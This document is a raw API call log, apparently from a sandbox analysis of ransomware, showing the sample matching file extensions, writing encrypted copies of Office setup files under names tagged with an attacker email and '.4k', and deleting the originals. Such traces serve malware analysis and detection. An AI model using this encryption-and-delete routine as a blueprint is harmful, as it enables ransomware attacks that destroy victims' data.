	[0099.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.388] lstrlenW (lpString=".zip") returned 4
	[0099.388] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.388] lstrlenW (lpString=".rar") returned 4
	[0099.388] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.388] lstrlenW (lpString=".bz2") returned 4
	[0099.388] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.388] lstrlenW (lpString=".7z") returned 3
	[0099.388] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.388] lstrlenW (lpString=".dbf") returned 4
	[0099.388] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.388] lstrlenW (lpString=".1cd") returned 4
	[0099.388] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.388] lstrlenW (lpString=".jpg") returned 4
	[0099.388] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.388] lstrlenW (lpString=".doc") returned 4
	[0099.388] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.388] lstrlenW (lpString=".docx") returned 5
	[0099.388] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0099.388] lstrlenW (lpString=".pdf") returned 4
	[0099.388] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.388] lstrlenW (lpString=".xls") returned 4
	[0099.388] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.389] lstrlenW (lpString=".xlsx") returned 5
	[0099.389] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0099.389] lstrlenW (lpString=".ppt") returned 4
	[0099.389] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.389] lstrlenW (lpString=".zip") returned 4
	[0099.389] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.389] lstrlenW (lpString=".rar") returned 4
	[0099.389] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.389] lstrlenW (lpString=".bz2") returned 4
	[0099.389] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.389] lstrlenW (lpString=".7z") returned 3
	[0099.389] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.389] lstrlenW (lpString=".dbf") returned 4
	[0099.389] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.389] lstrlenW (lpString=".1cd") returned 4
	[0099.389] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102
	[0099.389] lstrlenW (lpString=".jpg") returned 4
	[0099.389] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.389] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0099.389] lstrlenW (lpString="SETUP.XML") returned 9
	[0099.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0099.942] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1852) returned 1
	[0099.942] CloseHandle (hObject=0x1f4) returned 1
	[0099.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20
	[0099.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0099.943] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.943] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0099.943] GetLastError () returned 0x0
	[0099.943] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x73c, lpOverlapped=0x0) returned 1
	[0099.963] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x740, lpOverlapped=0x0) returned 1
	[0099.964] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0099.964] WriteFile (in: hFile=0x1f8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0099.964] SetEndOfFile (hFile=0x1f8) returned 1
	[0099.964] CloseHandle (hObject=0x1f8) returned 1
	[0099.964] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.964] SetEndOfFile (hFile=0x1f4) returned 1
	[0099.965] CloseHandle (hObject=0x1f4) returned 1
	[0099.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0099.966] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1
	[0099.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.966] lstrlenW (lpString=".doc") returned 4
	[0099.966] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.966] lstrlenW (lpString=".docx") returned 5
	[0099.966] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0099.966] lstrlenW (lpString=".pdf") returned 4
	[0099.966] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.966] lstrlenW (lpString=".xls") returned 4
	[0099.966] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.966] lstrlenW (lpString=".xlsx") returned 5
	[0099.966] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0099.966] lstrlenW (lpString=".ppt") returned 4
	[0099.966] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.967] lstrlenW (lpString=".zip") returned 4
	[0099.967] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.967] lstrlenW (lpString=".rar") returned 4
	[0099.967] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.967] lstrlenW (lpString=".bz2") returned 4
	[0099.967] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.967] lstrlenW (lpString=".7z") returned 3
	[0099.967] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.967] lstrlenW (lpString=".dbf") returned 4
	[0099.967] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.967] lstrlenW (lpString=".1cd") returned 4
	[0099.967] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.967] lstrlenW (lpString=".jpg") returned 4
	[0099.967] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.967] lstrlenW (lpString=".doc") returned 4
	[0099.967] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.967] lstrlenW (lpString=".docx") returned 5
	[0099.967] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0099.967] lstrlenW (lpString=".pdf") returned 4
	[0099.967] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.967] lstrlenW (lpString=".xls") returned 4
	[0099.967] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.968] lstrlenW (lpString=".xlsx") returned 5
	[0099.968] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0099.968] lstrlenW (lpString=".ppt") returned 4
	[0099.968] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.968] lstrlenW (lpString=".zip") returned 4
	[0099.968] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.968] lstrlenW (lpString=".rar") returned 4
	[0099.968] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.968] lstrlenW (lpString=".bz2") returned 4
	[0099.968] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.968] lstrlenW (lpString=".7z") returned 3
	[0099.968] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.968] lstrlenW (lpString=".dbf") returned 4
	[0099.968] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.968] lstrlenW (lpString=".1cd") returned 4
	[0099.968] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0099.968] lstrlenW (lpString=".jpg") returned 4
	[0099.968] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.968] lstrcmpiW (lpString1=".CHM", lpString2=".4k") returned 1
	[0099.968] lstrlenW (lpString="PSCONFIG.CHM") returned 12
	[0099.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0100.474] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=37689) returned 1
	[0100.474] CloseHandle (hObject=0x194) returned 1
	[0100.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20
	[0100.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0100.474] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.474] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0100.475] GetLastError () returned 0x0
	[0100.475] ReadFile (in: hFile=0x194, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x9339, lpOverlapped=0x0) returned 1
	[0100.485] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x9340, lpOverlapped=0x0) returned 1
	[0100.487] ReadFile (in: hFile=0x194, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.487] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0100.487] SetEndOfFile (hFile=0x1f0) returned 1
	[0100.487] CloseHandle (hObject=0x1f0) returned 1
	[0100.488] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.488] SetEndOfFile (hFile=0x194) returned 1
	[0100.489] CloseHandle (hObject=0x194) returned 1
	[0100.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.489] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1
	[0100.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.489] lstrlenW (lpString=".doc") returned 4
	[0100.489] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0100.490] lstrlenW (lpString=".docx") returned 5
	[0100.490] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1
	[0100.490] lstrlenW (lpString=".pdf") returned 4
	[0100.490] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0100.490] lstrlenW (lpString=".xls") returned 4
	[0100.490] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0100.490] lstrlenW (lpString=".xlsx") returned 5
	[0100.490] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1
	[0100.490] lstrlenW (lpString=".ppt") returned 4
	[0100.490] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0100.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.490] lstrlenW (lpString=".zip") returned 4
	[0100.490] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0100.490] lstrlenW (lpString=".rar") returned 4
	[0100.490] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0100.490] lstrlenW (lpString=".bz2") returned 4
	[0100.490] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0100.490] lstrlenW (lpString=".7z") returned 3
	[0100.490] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0100.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.490] lstrlenW (lpString=".dbf") returned 4
	[0100.490] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0100.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.490] lstrlenW (lpString=".1cd") returned 4
	[0100.490] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0100.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.490] lstrlenW (lpString=".jpg") returned 4
	[0100.490] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0100.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.491] lstrlenW (lpString=".doc") returned 4
	[0100.491] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0100.491] lstrlenW (lpString=".docx") returned 5
	[0100.491] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1
	[0100.491] lstrlenW (lpString=".pdf") returned 4
	[0100.491] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0100.491] lstrlenW (lpString=".xls") returned 4
	[0100.491] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0100.491] lstrlenW (lpString=".xlsx") returned 5
	[0100.491] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1
	[0100.491] lstrlenW (lpString=".ppt") returned 4
	[0100.491] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0100.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.491] lstrlenW (lpString=".zip") returned 4
	[0100.491] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0100.491] lstrlenW (lpString=".rar") returned 4
	[0100.491] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0100.491] lstrlenW (lpString=".bz2") returned 4
	[0100.491] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0100.491] lstrlenW (lpString=".7z") returned 3
	[0100.491] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0100.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.491] lstrlenW (lpString=".dbf") returned 4
	[0100.491] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0100.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.491] lstrlenW (lpString=".1cd") returned 4
	[0100.492] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0100.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105
	[0100.492] lstrlenW (lpString=".jpg") returned 4
	[0100.492] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0100.492] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.492] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0100.494] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1886) returned 1
	[0100.494] CloseHandle (hObject=0x194) returned 1
	[0100.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20
	[0100.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.494] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0100.494] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.494] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0100.495] GetLastError () returned 0x0
	[0100.495] ReadFile (in: hFile=0x194, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x75e, lpOverlapped=0x0) returned 1
	[0100.538] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x760, lpOverlapped=0x0) returned 1
	[0100.539] ReadFile (in: hFile=0x194, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.539] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.540] SetEndOfFile (hFile=0x1f0) returned 1
